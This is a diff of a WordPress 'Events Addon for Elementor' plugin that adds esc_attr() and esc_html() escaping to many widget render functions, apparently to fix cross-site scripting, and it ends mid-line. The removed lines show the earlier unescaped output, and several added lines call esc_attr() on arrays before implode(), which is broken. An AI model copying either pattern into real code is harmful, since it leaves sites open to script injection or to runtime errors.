+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-em-calendar.php
@@ -641,17 +641,17 @@
 		*/
 		protected function render() {
 			$settings = $this->get_settings_for_display();
-			$event_category 	= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
-			$event_category_hide 	= !empty( $settings['event_category_hide'] ) ? $settings['event_category_hide'] : '';
-			$event_tag 				= !empty( $settings['event_tag'] ) ? $settings['event_tag'] : '';
-			$event_tag_hide 	= !empty( $settings['event_tag_hide'] ) ? $settings['event_tag_hide'] : '';
-			$event_id 			  = !empty( $settings['event_id'] ) ? $settings['event_id'] : '';
-			$event_year 			= !empty( $settings['event_year'] ) ? $settings['event_year'] : '';
-			$event_month 			= !empty( $settings['event_month'] ) ? $settings['event_month'] : '';
-			$event_countries 	= !empty( $settings['event_countries'] ) ? $settings['event_countries'] : '';
-			$event_bookings 	= !empty( $settings['event_bookings'] ) ? $settings['event_bookings'] : '';
-			$event_full 			= !empty( $settings['event_full'] ) ? $settings['event_full'] : '';
-			$event_long_events = !empty( $settings['event_long_events'] ) ? $settings['event_long_events'] : '';
+			$event_category 		= !empty( $settings['event_category'] ) ? esc_attr($settings['event_category']) : '';
+			$event_category_hide 	= !empty( $settings['event_category_hide'] ) ? esc_attr($settings['event_category_hide']) : '';
+			$event_tag 				= !empty( $settings['event_tag'] ) ? esc_attr($settings['event_tag']) : '';
+			$event_tag_hide 		= !empty( $settings['event_tag_hide'] ) ? esc_attr($settings['event_tag_hide']) : '';
+			$event_id 			  	= !empty( $settings['event_id'] ) ? esc_attr($settings['event_id']) : '';
+			$event_year 			= !empty( $settings['event_year'] ) ? esc_attr($settings['event_year']) : '';
+			$event_month 			= !empty( $settings['event_month'] ) ? esc_attr($settings['event_month']) : '';
+			$event_countries 		= !empty( $settings['event_countries'] ) ? esc_attr($settings['event_countries']) : '';
+			$event_bookings 		= !empty( $settings['event_bookings'] ) ? esc_attr($settings['event_bookings']) : '';
+			$event_full 			= !empty( $settings['event_full'] ) ? esc_attr($settings['event_full']) : '';
+			$event_long_events 		= !empty( $settings['event_long_events'] ) ? esc_attr($settings['event_long_events']) : '';

 			$category_hide = $event_category_hide ? '-' : '';
 			$tag_hide = $event_tag_hide ? '-' : '';
@@ -670,9 +670,9 @@
 			$full = $event_full ? ' full="'.$event_full.'"' : '';
 			$long_events = $event_long_events ? ' long_events="'.$event_long_events.'"' : '';

-	  	$output = '<div class="naeep-em-calendar">'.do_shortcode( '[events_calendar'. $full . $category . $tag . $show_id . $year . $month . $countries . $bookings . $long_events . ']' ).'</div>';
+	  		$output = '<div class="naeep-em-calendar">'.do_shortcode( '[events_calendar'. $full . $category . $tag . $show_id . $year . $month . $countries . $bookings . $long_events . ']' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-em-categories.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-em-categories.php
@@ -331,23 +331,23 @@
 		protected function render() {
 			$settings = $this->get_settings_for_display();
 			$event_limit 			= !empty( $settings['event_limit'] ) ? $settings['event_limit'] : '';
-			$event_offset 		= !empty( $settings['event_offset'] ) ? $settings['event_offset'] : '';
+			$event_offset 			= !empty( $settings['event_offset'] ) ? $settings['event_offset'] : '';
 			$event_order 			= !empty( $settings['event_order'] ) ? $settings['event_order'] : '';
-			$event_hide_empty = !empty( $settings['event_hide_empty'] ) ? $settings['event_hide_empty'] : '';
-			$event_pagination = !empty( $settings['event_pagination'] ) ? $settings['event_pagination'] : '';
+			$event_hide_empty 		= !empty( $settings['event_hide_empty'] ) ? $settings['event_hide_empty'] : '';
+			$event_pagination 		= !empty( $settings['event_pagination'] ) ? $settings['event_pagination'] : '';

-			$event_hide_empty = $event_hide_empty ? '1' : '';
-			$event_pagination = $event_pagination ? '1' : '';
+			$event_hide_empty 		= $event_hide_empty ? '1' : '';
+			$event_pagination 		= $event_pagination ? '1' : '';

-			$limit = $event_limit ? ' limit="'.$event_limit.'"' : '';
-			$offset = $event_offset ? ' offset="'.$event_offset.'"' : '';
-			$order = $event_order ? ' order="'.$event_order.'"' : '';
-			$hide_empty = $event_hide_empty ? ' hide_empty="'.$event_hide_empty.'"' : '';
-			$pagination = $event_pagination ? ' pagination="'.$event_pagination.'"' : '';
+			$limit = $event_limit ? ' limit="'.esc_attr( $event_limit ).'"' : '';
+			$offset = $event_offset ? ' offset="'.esc_attr( $event_offset ).'"' : '';
+			$order = $event_order ? ' order="'.esc_attr( $event_order ).'"' : '';
+			$hide_empty = $event_hide_empty ? ' hide_empty="'.esc_attr( $event_hide_empty ).'"' : '';
+			$pagination = $event_pagination ? ' pagination="'.esc_attr( $event_pagination ).'"' : '';

-	  	$output = '<div class="naeep-em-category">'.do_shortcode( '[categories_list' . $limit . $offset . $order . $hide_empty . $pagination . ']' ).'</div>';
+	  		$output = '<div class="naeep-em-category">'.do_shortcode( '[categories_list' . $limit . $offset . $order . $hide_empty . $pagination . ']' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-em-form.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-em-form.php
@@ -372,12 +372,12 @@
 			$settings = $this->get_settings_for_display();
 			$form_title = !empty( $settings['form_title'] ) ? $settings['form_title'] : '';
 			$form_content = !empty( $settings['form_content'] ) ? $settings['form_content'] : '';
-			$title = $form_title ? '<h3>'.$form_title.'</h3>' : '';
-			$content = $form_content ? '<p>'.$form_content.'</p>' : '';
+			$title = $form_title ? '<h3>'.esc_html( $form_title ).'</h3>' : '';
+			$content = $form_content ? '<p>'.esc_html( $form_content ).'</p>' : '';

-	  	$output = '<div class="naeep-em-list naeep-form naeep-em-form">'.$title.$content.do_shortcode( '[event_form]' ).'</div>';
+	  		$output = '<div class="naeep-em-list naeep-form naeep-em-form">'.$title.$content.do_shortcode( '[event_form]' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-em-group.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-em-group.php
@@ -700,22 +700,22 @@
 		 * Written in PHP and used to generate the final HTML.
 		*/
 		protected function render() {
-			$settings = $this->get_settings_for_display();
+			$settings 				= $this->get_settings_for_display();
 			$event_limit 			= !empty( $settings['event_limit'] ) ? $settings['event_limit'] : '';
 			$event_scope 			= !empty( $settings['event_scope'] ) ? $settings['event_scope'] : '';
 			$event_order 			= !empty( $settings['event_order'] ) ? $settings['event_order'] : '';
-			$event_mode 		= !empty( $settings['event_mode'] ) ? $settings['event_mode'] : '';
-			$event_category 	= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
+			$event_mode 			= !empty( $settings['event_mode'] ) ? $settings['event_mode'] : '';
+			$event_category 		= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
 			$event_category_hide 	= !empty( $settings['event_category_hide'] ) ? $settings['event_category_hide'] : '';
 			$event_tag 				= !empty( $settings['event_tag'] ) ? $settings['event_tag'] : '';
-			$event_tag_hide 	= !empty( $settings['event_tag_hide'] ) ? $settings['event_tag_hide'] : '';
-			$event_id 			  = !empty( $settings['event_id'] ) ? $settings['event_id'] : '';
+			$event_tag_hide 		= !empty( $settings['event_tag_hide'] ) ? $settings['event_tag_hide'] : '';
+			$event_id 			  	= !empty( $settings['event_id'] ) ? $settings['event_id'] : '';
 			$event_year 			= !empty( $settings['event_year'] ) ? $settings['event_year'] : '';
 			$event_month 			= !empty( $settings['event_month'] ) ? $settings['event_month'] : '';
-			$event_countries 	= !empty( $settings['event_countries'] ) ? $settings['event_countries'] : '';
-			$event_bookings 	= !empty( $settings['event_bookings'] ) ? $settings['event_bookings'] : '';
-			$event_pagination = !empty( $settings['event_pagination'] ) ? $settings['event_pagination'] : '';
-			$code = !empty( $settings['code'] ) ? $settings['code'] : '';
+			$event_countries 		= !empty( $settings['event_countries'] ) ? $settings['event_countries'] : '';
+			$event_bookings 		= !empty( $settings['event_bookings'] ) ? $settings['event_bookings'] : '';
+			$event_pagination 		= !empty( $settings['event_pagination'] ) ? $settings['event_pagination'] : '';
+			$code 					= !empty( $settings['code'] ) ? $settings['code'] : '';

 			$category_hide = $event_category_hide ? '-' : '';
 			$tag_hide = $event_tag_hide ? '-' : '';
@@ -723,22 +723,22 @@
 			$event_bookings = $event_bookings ? '1' : '';
 			$event_pagination = $event_pagination ? '1' : '';

-			$limit = $event_limit ? ' limit="'.$event_limit.'"' : '';
-			$scope = $event_scope ? ' scope="'.$event_scope.'"' : '';
-			$order = $event_order ? ' order="'.$event_order.'"' : '';
-			$mode = $event_mode ? ' mode="'.$event_mode.'"' : '';
-			$category = $event_category ? ' category="'.$category_hide.implode(', '.$category_hide, $event_category).'"' : '';
-			$tag = $event_tag ? ' tag="'.$tag_hide.implode(', '.$tag_hide, $event_tag).'"' : '';
-			$show_id = $event_id ? ' post_id="'.implode(',', $event_id).'"' : '';
-			$year = $event_year ? ' year="'.$event_year.'"' : '';
-			$month = $event_month ? ' month="'.$event_month.'"' : '';
-			$countries = $event_countries ? ' country="'.$event_countries.'"' : '';
-			$bookings = $event_bookings ? ' bookings="'.$event_bookings.'"' : '';
-			$pagination = $event_pagination ? ' pagination="'.$event_pagination.'"' : '';
+			$limit = $event_limit ? ' limit="'.esc_attr( $event_limit ).'"' : '';
+			$scope = $event_scope ? ' scope="'.esc_attr( $event_scope ).'"' : '';
+			$order = $event_order ? ' order="'.esc_attr( $event_order ).'"' : '';
+			$mode = $event_mode ? ' mode="'.esc_attr( $event_mode ).'"' : '';
+			$category = $event_category ? ' category="'.$category_hide.implode(', '.$category_hide, esc_attr( $event_category )).'"' : '';
+			$tag = $event_tag ? ' tag="'.$tag_hide.implode(', '.$tag_hide, esc_attr( $event_tag )).'"' : '';
+			$show_id = $event_id ? ' post_id="'.implode(',', esc_attr( $event_id )).'"' : '';
+			$year = $event_year ? ' year="'.esc_attr( $event_year ).'"' : '';
+			$month = $event_month ? ' month="'.esc_attr( $event_month ).'"' : '';
+			$countries = $event_countries ? ' country="'.esc_attr( $event_countries ).'"' : '';
+			$bookings = $event_bookings ? ' bookings="'.esc_attr( $event_bookings ).'"' : '';
+			$pagination = $event_pagination ? ' pagination="'.esc_attr( $event_pagination ).'"' : '';

-	  	$output = '<div class="naeep-em-list naeep-em-group">'.do_shortcode( '[events_list_grouped' . $limit . $scope . $order . $mode . $category . $tag . $show_id . $year . $month . $countries . $bookings . $pagination . ']'.$code.'[/events_list_grouped]' ).'</div>';
+	  		$output = '<div class="naeep-em-list naeep-em-group">'.do_shortcode( '[events_list_grouped' . $limit . $scope . $order . $mode . $category . $tag . $show_id . $year . $month . $countries . $bookings . $pagination . ']'.$code.'[/events_list_grouped]' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-em-list.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-em-list.php
@@ -843,22 +843,22 @@
 		 * Written in PHP and used to generate the final HTML.
 		*/
 		protected function render() {
-			$settings = $this->get_settings_for_display();
+			$settings 				= $this->get_settings_for_display();
 			$event_limit 			= !empty( $settings['event_limit'] ) ? $settings['event_limit'] : '';
-			$event_offset 		= !empty( $settings['event_offset'] ) ? $settings['event_offset'] : '';
+			$event_offset 			= !empty( $settings['event_offset'] ) ? $settings['event_offset'] : '';
 			$event_scope 			= !empty( $settings['event_scope'] ) ? $settings['event_scope'] : '';
 			$event_order 			= !empty( $settings['event_order'] ) ? $settings['event_order'] : '';
-			$event_orderby 		= !empty( $settings['event_orderby'] ) ? $settings['event_orderby'] : '';
-			$event_category 	= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
+			$event_orderby 			= !empty( $settings['event_orderby'] ) ? $settings['event_orderby'] : '';
+			$event_category 		= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
 			$event_category_hide 	= !empty( $settings['event_category_hide'] ) ? $settings['event_category_hide'] : '';
 			$event_tag 				= !empty( $settings['event_tag'] ) ? $settings['event_tag'] : '';
-			$event_tag_hide 	= !empty( $settings['event_tag_hide'] ) ? $settings['event_tag_hide'] : '';
-			$event_id 			  = !empty( $settings['event_id'] ) ? $settings['event_id'] : '';
+			$event_tag_hide 		= !empty( $settings['event_tag_hide'] ) ? $settings['event_tag_hide'] : '';
+			$event_id 			  	= !empty( $settings['event_id'] ) ? $settings['event_id'] : '';
 			$event_year 			= !empty( $settings['event_year'] ) ? $settings['event_year'] : '';
 			$event_month 			= !empty( $settings['event_month'] ) ? $settings['event_month'] : '';
-			$event_countries 	= !empty( $settings['event_countries'] ) ? $settings['event_countries'] : '';
-			$event_bookings 	= !empty( $settings['event_bookings'] ) ? $settings['event_bookings'] : '';
-			$event_pagination = !empty( $settings['event_pagination'] ) ? $settings['event_pagination'] : '';
+			$event_countries 		= !empty( $settings['event_countries'] ) ? $settings['event_countries'] : '';
+			$event_bookings 		= !empty( $settings['event_bookings'] ) ? $settings['event_bookings'] : '';
+			$event_pagination 		= !empty( $settings['event_pagination'] ) ? $settings['event_pagination'] : '';

 			$category_hide = $event_category_hide ? '-' : '';
 			$tag_hide = $event_tag_hide ? '-' : '';
@@ -866,19 +866,19 @@
 			$event_bookings = $event_bookings ? '1' : '';
 			$event_pagination = $event_pagination ? '1' : '';

-			$limit = $event_limit ? ' limit="'.$event_limit.'"' : '';
-			$offset = $event_offset ? ' offset="'.$event_offset.'"' : '';
-			$scope = $event_scope ? ' scope="'.$event_scope.'"' : '';
-			$order = $event_order ? ' order="'.$event_order.'"' : '';
-			$orderby = $event_orderby ? ' orderby="'.$event_orderby.'"' : '';
-			$category = $event_category ? ' category="'.$category_hide.implode(', '.$category_hide, $event_category).'"' : '';
-			$tag = $event_tag ? ' tag="'.$tag_hide.implode(', '.$tag_hide, $event_tag).'"' : '';
-			$show_id = $event_id ? ' post_id="'.implode(',', $event_id).'"' : '';
-			$year = $event_year ? ' year="'.$event_year.'"' : '';
-			$month = $event_month ? ' month="'.$event_month.'"' : '';
-			$countries = $event_countries ? ' country="'.$event_countries.'"' : '';
-			$bookings = $event_bookings ? ' bookings="'.$event_bookings.'"' : '';
-			$pagination = $event_pagination ? ' pagination="'.$event_pagination.'"' : '';
+			$limit = $event_limit ? ' limit="'.esc_attr( $event_limit ).'"' : '';
+			$offset = $event_offset ? ' offset="'.esc_attr( $event_offset ).'"' : '';
+			$scope = $event_scope ? ' scope="'.esc_attr( $event_scope ).'"' : '';
+			$order = $event_order ? ' order="'.esc_attr( $event_order ).'"' : '';
+			$orderby = $event_orderby ? ' orderby="'.esc_attr( $event_orderby ).'"' : '';
+			$category = $event_category ? ' category="'.$category_hide.implode(', '.$category_hide, esc_attr( $event_category )).'"' : '';
+			$tag = $event_tag ? ' tag="'.$tag_hide.implode(', '.$tag_hide, esc_attr( $event_tag )).'"' : '';
+			$show_id = $event_id ? ' post_id="'.implode(',', esc_attr( $event_id )).'"' : '';
+			$year = $event_year ? ' year="'.esc_attr( $event_year ).'"' : '';
+			$month = $event_month ? ' month="'.esc_attr( $event_month ).'"' : '';
+			$countries = $event_countries ? ' country="'.esc_attr( $event_countries ).'"' : '';
+			$bookings = $event_bookings ? ' bookings="'.esc_attr( $event_bookings ).'"' : '';
+			$pagination = $event_pagination ? ' pagination="'.esc_attr( $event_pagination ).'"' : '';

 			if ($event_countries !== 'none') {
 				$countries = $countries;
@@ -886,9 +886,9 @@
 				$countries = '';
 			}

-	  	$output = '<div class="naeep-em-list">'.do_shortcode( '[events_list' . $limit . $offset . $scope . $order . $orderby . $category . $tag . $show_id . $year . $month . $countries . $bookings . $pagination . ']' ).'</div>';
+	  		$output = '<div class="naeep-em-list">'.do_shortcode( '[events_list' . $limit . $offset . $scope . $order . $orderby . $category . $tag . $show_id . $year . $month . $countries . $bookings . $pagination . ']' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-em-location.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-em-location.php
@@ -714,20 +714,20 @@
 		 * Written in PHP and used to generate the final HTML.
 		*/
 		protected function render() {
-			$settings = $this->get_settings_for_display();
+			$settings 				= $this->get_settings_for_display();
 			$event_limit 			= !empty( $settings['event_limit'] ) ? $settings['event_limit'] : '';
-			$event_offset 		= !empty( $settings['event_offset'] ) ? $settings['event_offset'] : '';
+			$event_offset 			= !empty( $settings['event_offset'] ) ? $settings['event_offset'] : '';
 			$event_scope 			= !empty( $settings['event_scope'] ) ? $settings['event_scope'] : '';
-			$event_countries 	= !empty( $settings['event_countries'] ) ? $settings['event_countries'] : '';
+			$event_countries 		= !empty( $settings['event_countries'] ) ? $settings['event_countries'] : '';
 			$event_order 			= !empty( $settings['event_order'] ) ? $settings['event_order'] : '';
-			$event_category 	= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
+			$event_category 		= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
 			$event_category_hide 	= !empty( $settings['event_category_hide'] ) ? $settings['event_category_hide'] : '';
 			$event_tag 				= !empty( $settings['event_tag'] ) ? $settings['event_tag'] : '';
-			$event_tag_hide 	= !empty( $settings['event_tag_hide'] ) ? $settings['event_tag_hide'] : '';
+			$event_tag_hide 		= !empty( $settings['event_tag_hide'] ) ? $settings['event_tag_hide'] : '';
 			$event_year 			= !empty( $settings['event_year'] ) ? $settings['event_year'] : '';
 			$event_month 			= !empty( $settings['event_month'] ) ? $settings['event_month'] : '';
-			$event_bookings 	= !empty( $settings['event_bookings'] ) ? $settings['event_bookings'] : '';
-			$event_pagination = !empty( $settings['event_pagination'] ) ? $settings['event_pagination'] : '';
+			$event_bookings 		= !empty( $settings['event_bookings'] ) ? $settings['event_bookings'] : '';
+			$event_pagination 		= !empty( $settings['event_pagination'] ) ? $settings['event_pagination'] : '';

 			$category_hide = $event_category_hide ? '-' : '';
 			$tag_hide = $event_tag_hide ? '-' : '';
@@ -735,21 +735,21 @@
 			$event_bookings = $event_bookings ? '1' : '';
 			$event_pagination = $event_pagination ? '1' : '';

-			$limit = $event_limit ? ' limit="'.$event_limit.'"' : '';
-			$offset = $event_offset ? ' offset="'.$event_offset.'"' : '';
-			$scope = $event_scope ? ' scope="'.$event_scope.'"' : '';
-			$countries = $event_countries ? ' country="'.$event_countries.'"' : '';
-			$order = $event_order ? ' order="'.$event_order.'"' : '';
-			$category = $event_category ? ' category="'.$category_hide.implode(', '.$category_hide, $event_category).'"' : '';
-			$tag = $event_tag ? ' tag="'.$tag_hide.implode(', '.$tag_hide, $event_tag).'"' : '';
-			$year = $event_year ? ' year="'.$event_year.'"' : '';
-			$month = $event_month ? ' month="'.$event_month.'"' : '';
-			$bookings = $event_bookings ? ' bookings="'.$event_bookings.'"' : '';
-			$pagination = $event_pagination ? ' pagination="'.$event_pagination.'"' : '';
+			$limit = $event_limit ? ' limit="'.esc_attr( $event_limit ).'"' : '';
+			$offset = $event_offset ? ' offset="'.esc_attr( $event_offset ).'"' : '';
+			$scope = $event_scope ? ' scope="'.esc_attr( $event_scope ).'"' : '';
+			$countries = $event_countries ? ' country="'.esc_attr( $event_countries ).'"' : '';
+			$order = $event_order ? ' order="'.esc_attr( $event_order ).'"' : '';
+			$category = $event_category ? ' category="'.$category_hide.implode(', '.$category_hide, esc_attr( $event_category )).'"' : '';
+			$tag = $event_tag ? ' tag="'.$tag_hide.implode(', '.$tag_hide, esc_attr( $event_tag )).'"' : '';
+			$year = $event_year ? ' year="'.esc_attr( $event_year ).'"' : '';
+			$month = $event_month ? ' month="'.esc_attr( $event_month ).'"' : '';
+			$bookings = $event_bookings ? ' bookings="'.esc_attr( $event_bookings ).'"' : '';
+			$pagination = $event_pagination ? ' pagination="'.esc_attr( $event_pagination ).'"' : '';

-	  	$output = '<div class="naeep-em-location"' . $limit . $offset . $scope . $countries . $order . $category . $tag . $year . $month . $pagination . '>'.do_shortcode( '[locations_list' . $limit . $offset . $scope . $countries . $order . $category . $tag . $year . $month . $bookings . $pagination . ']' ).'</div>';
+	  		$output = '<div class="naeep-em-location"' . $limit . $offset . $scope . $countries . $order . $category . $tag . $year . $month . $pagination . '>'.do_shortcode( '[locations_list' . $limit . $offset . $scope . $countries . $order . $category . $tag . $year . $month . $bookings . $pagination . ']' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-em-search.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-em-search.php
@@ -238,12 +238,12 @@
 			$settings = $this->get_settings_for_display();
 			$form_title = !empty( $settings['form_title'] ) ? $settings['form_title'] : '';
 			$form_content = !empty( $settings['form_content'] ) ? $settings['form_content'] : '';
-			$title = $form_title ? '<h3>'.$form_title.'</h3>' : '';
-			$content = $form_content ? '<p>'.$form_content.'</p>' : '';
+			$title = $form_title ? '<h3>'.esc_html( $form_title ).'</h3>' : '';
+			$content = $form_content ? '<p>'.esc_html( $form_content ).'</p>' : '';

-	  	$output = '<div class="naeep-form naeep-em-search">'.$title.$content.do_shortcode( '[event_search_form]' ).'</div>';
+	  		$output = '<div class="naeep-form naeep-em-search">'.$title.$content.do_shortcode( '[event_search_form]' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-eo-calendar.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-eo-calendar.php
@@ -317,16 +317,16 @@
 		protected function render() {
 			$settings = $this->get_settings_for_display();
 			$event_category 	= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
-			$event_venue 				= !empty( $settings['event_venue'] ) ? $settings['event_venue'] : '';
-			$showpastevents = !empty( $settings['showpastevents'] ) ? $settings['showpastevents'] : '';
+			$event_venue 		= !empty( $settings['event_venue'] ) ? $settings['event_venue'] : '';
+			$showpastevents 	= !empty( $settings['showpastevents'] ) ? $settings['showpastevents'] : '';

-			$category = $event_category ? ' event_category="'.implode(', ', $event_category).'"' : '';
-			$venue = $event_venue ? ' event_venue="'.implode(', ', $event_venue).'"' : '';
-			$pastevents = $showpastevents ? ' showpastevents="'.$showpastevents.'"' : '';
+			$category 			= $event_category ? ' event_category="'.implode(', ', esc_attr( $event_category )).'"' : '';
+			$venue 				= $event_venue ? ' event_venue="'.implode(', ', esc_attr( $event_venue )).'"' : '';
+			$pastevents 		= $showpastevents ? ' showpastevents="'.esc_attr( $showpastevents ).'"' : '';

-	  	$output = '<div class="naeep-eo-calendar">'.do_shortcode( '[eo_calendar'. $category . $venue . $pastevents . ']' ).'</div>';
+	  		$output 			= '<div class="naeep-eo-calendar">'.do_shortcode( '[eo_calendar'. $category . $venue . $pastevents . ']' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-eo-fullcalendar.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-eo-fullcalendar.php
@@ -344,40 +344,40 @@
 		 * Written in PHP and used to generate the final HTML.
 		*/
 		protected function render() {
-			$settings = $this->get_settings_for_display();
-			$defaultView 	= !empty( $settings['defaultView'] ) ? $settings['defaultView'] : '';
+			$settings 				= $this->get_settings_for_display();
+			$defaultView 			= !empty( $settings['defaultView'] ) ? $settings['defaultView'] : '';
 			$event_year 			= !empty( $settings['event_year'] ) ? $settings['event_year'] : '';
 			$event_month 			= !empty( $settings['event_month'] ) ? $settings['event_month'] : '';
-			$event_date 			  = !empty( $settings['event_date'] ) ? $settings['event_date'] : '';
-			$event_category 	= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
+			$event_date 			= !empty( $settings['event_date'] ) ? $settings['event_date'] : '';
+			$event_category 		= !empty( $settings['event_category'] ) ? $settings['event_category'] : '';
 			$event_tag 				= !empty( $settings['event_tag'] ) ? $settings['event_tag'] : '';
-			$headerLeft 	= !empty( $settings['headerLeft'] ) ? $settings['headerLeft'] : '';
-			$headerCenter 	= !empty( $settings['headerCenter'] ) ? $settings['headerCenter'] : '';
-			$headerRight 	= !empty( $settings['headerRight'] ) ? $settings['headerRight'] : '';
-			$theme 	= !empty( $settings['theme'] ) ? $settings['theme'] : '';
-			$tooltip 	= !empty( $settings['tooltip'] ) ? $settings['tooltip'] : '';
-			$weekends 	= !empty( $settings['weekends'] ) ? $settings['weekends'] : '';
-
-			$theme = $theme ? 'true' : 'false';
-			$tooltip = $tooltip ? 'true' : 'false';
-			$weekends = $weekends ? 'true' : 'false';
-
-			$defaultView = $defaultView ? ' defaultView="'.$defaultView.'"' : '';
-			$year = $event_year ? ' year="'.$event_year.'"' : '';
-			$month = $event_month ? ' month="'.$event_month.'"' : '';
-			$date = $event_date ? ' date="'.$event_date.'"' : '';
-			$category = $event_category ? ' category="'.implode(',', $event_category).'"' : '';
-			$tag = $event_tag ? ' tag="'.implode(',', $event_tag).'"' : '';
-			$headerLeft = $headerLeft ? ' headerLeft="'.implode(',', $headerLeft).'"' : '';
-			$headerRight = $headerRight ? ' headerRight="'.implode(',', $headerRight).'"' : '';
-			$headerCenter = $headerCenter ? ' headerCenter="'.implode(',', $headerCenter).'"' : '';
-			$theme = $theme ? ' theme="'.$theme.'"' : '';
-			$tooltip = $tooltip ? ' tooltip="'.$tooltip.'"' : '';
-			$weekends = $weekends ? ' weekends="'.$weekends.'"' : '';
+			$headerLeft 			= !empty( $settings['headerLeft'] ) ? $settings['headerLeft'] : '';
+			$headerCenter 			= !empty( $settings['headerCenter'] ) ? $settings['headerCenter'] : '';
+			$headerRight 			= !empty( $settings['headerRight'] ) ? $settings['headerRight'] : '';
+			$theme 					= !empty( $settings['theme'] ) ? $settings['theme'] : '';
+			$tooltip 				= !empty( $settings['tooltip'] ) ? $settings['tooltip'] : '';
+			$weekends 				= !empty( $settings['weekends'] ) ? $settings['weekends'] : '';
+
+			$theme 					= $theme ? 'true' : 'false';
+			$tooltip 				= $tooltip ? 'true' : 'false';
+			$weekends 				= $weekends ? 'true' : 'false';
+
+			$defaultView = $defaultView ? ' defaultView="'.esc_attr( $defaultView ).'"' : '';
+			$year = $event_year ? ' year="'.esc_attr( $event_year ).'"' : '';
+			$month = $event_month ? ' month="'.esc_attr( $event_month ).'"' : '';
+			$date = $event_date ? ' date="'.esc_attr( $event_date ).'"' : '';
+			$category = $event_category ? ' category="'.implode(',', esc_attr( $event_category )).'"' : '';
+			$tag = $event_tag ? ' tag="'.implode(',', esc_attr( $event_tag )).'"' : '';
+			$headerLeft = $headerLeft ? ' headerLeft="'.implode(',', esc_attr( $headerLeft )).'"' : '';
+			$headerRight = $headerRight ? ' headerRight="'.implode(',', esc_attr( $headerRight )).'"' : '';
+			$headerCenter = $headerCenter ? ' headerCenter="'.implode(',', esc_attr( $headerCenter )).'"' : '';
+			$theme = $theme ? ' theme="'.esc_attr( $theme ).'"' : '';
+			$tooltip = $tooltip ? ' tooltip="'.esc_attr( $tooltip ).'"' : '';
+			$weekends = $weekends ? ' weekends="'.esc_attr( $weekends ).'"' : '';

-	  	$output = '<div class="naeep-eo-fullcalendar">'.do_shortcode( '[eo_fullcalendar'. $defaultView . $year . $month . $date . $category . $tag . $headerLeft . $headerRight . $headerCenter . $theme . $tooltip . $weekends .']' ).'</div>';
+	  		$output = '<div class="naeep-eo-fullcalendar">'.do_shortcode( '[eo_fullcalendar'. $defaultView . $year . $month . $date . $category . $tag . $headerLeft . $headerRight . $headerCenter . $theme . $tooltip . $weekends .']' ).'</div>';

-		  echo $output;
+		  	echo $output;

 		}

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-eo-info-box.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-eo-info-box.php
@@ -408,10 +408,10 @@
 			$where_icon = !empty( $settings['where_icon'] ) ? $settings['where_icon']['value'] : '';
 			$where_title = !empty( $settings['where_title'] ) ? $settings['where_title'] : '';
 			$date_format = !empty( $settings['date_format'] ) ? $settings['date_format'] : '';
-	  	$date_format = $date_format ? $date_format : 'd M, Y';
+	  		$date_format = $date_format ? $date_format : 'd M, Y';

-			$when_icon = $when_icon ? '<div class="naeep-icon"><i class="'.$when_icon.'"></i></div>' : '';
-			$where_icon = $where_icon ? '<div class="naeep-icon"><i class="'.$where_icon.'"></i></div>' : '';
+			$when_icon = $when_icon ? '<div class="naeep-icon"><i class="'.esc_attr( $when_icon ).'"></i></div>' : '';
+			$where_icon = $where_icon ? '<div class="naeep-icon"><i class="'.esc_attr( $where_icon ).'"></i></div>' : '';

 			// Turn output buffer on
 			ob_start();
@@ -425,22 +425,22 @@
 				$my_page = get_query_var( 'page' );
 			  else
 				$my_page = 1;
-			  set_query_var( 'paged', $my_page );
-			  $paged = $my_page;
+			  	set_query_var( 'paged', $my_page );
+			  	$paged = $my_page;
 			}
 			if ($event_id) {
 				$event_id = json_encode( $event_id );
 				$event_id = str_replace(array( '[', ']' ), '', $event_id);
 				$event_id = str_replace(array( '"', '"' ), '', $event_id);
-	      $event_id = explode(',',$event_id);
-	    } else {
-	      $event_id = '';
-	    }
+		      	$event_id = explode(',',$event_id);
+		    } else {
+		      	$event_id = '';
+		    }
 			$args = array(
-			  'paged' => $my_page,
-			  'post_type' => 'event',
-			  'posts_per_page' => 1,
-		  	'post__in' => $event_id,
+			  	'paged' => $my_page,
+			  	'post_type' => 'event',
+			  	'posts_per_page' => 1,
+		  		'post__in' => $event_id,
 			);
 			$naevents_event = new WP_Query( $args );
 			if ($naevents_event->have_posts()) : ?>
--- a/events-addon-for-elementor/elementor/widgets/event/naevents-eo-list.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-eo-list.php
@@ -243,36 +243,36 @@
 		 * Written in PHP and used to generate the final HTML.
 		*/
 		protected function render() {
-			$settings = $this->get_settings_for_display();
+			$settings 				= $this->get_settings_for_di

